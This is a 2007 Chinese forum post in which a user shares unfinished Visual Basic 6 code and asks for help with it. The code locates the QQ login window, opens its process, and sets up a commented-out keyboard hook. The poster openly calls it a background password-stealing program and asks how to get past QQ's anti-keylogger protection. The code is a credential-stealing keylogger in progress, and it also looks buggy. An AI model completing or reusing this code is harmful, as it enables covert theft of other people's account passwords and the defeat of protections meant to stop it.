|
|
发表于 2007-1-30 11:29:00
|
显示全部楼层
Re:搜索游戏窗口,出现问题了,请帮助我QQ
后台盗取密码程序,QQ也有如此的反盗取功能,在获取的键盘数据中数字全为0。
这是网罗的防黑壳进程数据,据说只要绕过它就行了。
Option Explicit
Dim hWndForm() As Long, WndForm As Long, i As Long, nHandle As Long
Dim FormCaption() As String, Str1 As String * 255, HooKID As Long, nThreadId As Long
Dim ProgHnd As Long
Private Sub Form_Load()
ReDim Preserve hWndForm(0)
WndForm = GetWindow(Form1.hwnd, GW_HWNDFIRST)
hWndForm(0) = WndForm
'枚举每个窗体句柄
Do While WndForm <> 0
WndForm = GetWindow(WndForm, GW_HWNDNEXT)
i = i + 1
ReDim Preserve hWndForm(i)
hWndForm(i) = WndForm
Loop
'获取每个窗体句柄的窗体标题
For i = 0 To UBound(hWndForm())
ReDim Preserve FormCaption(i)
GetWindowText hWndForm(i), Str1, 255
FormCaption(i) = Str1
Next i
For i = 0 To UBound(FormCaption())
'如果这个窗体标题是"QQ用户登录"则把相应的窗体句柄存入nHandle
If Left(LTrim(RTrim((FormCaption(i)))), 6) = "QQ用户登录" Then
nHandle = hWndForm(i)
'获取与窗体相关的进程ID
nThreadId = GetWindowThreadProcessId(Form1.hwnd, nThreadId)
'以当前进程得到相应的进程句柄
ProgHnd = OpenProcess(PROCESS_ALL_ACCESS, False, nThreadId)
MsgBox ProgHnd
MsgBox App.hInstance
'HooKID = SetWindowsHookEx(WH_KEYBOARD, AddressOf GetKeyValue, App.hInstance, nThreadId)
End If
Next i
End Sub
返回的ProgHnd为0,表示没有打开当前进程的句柄 |
|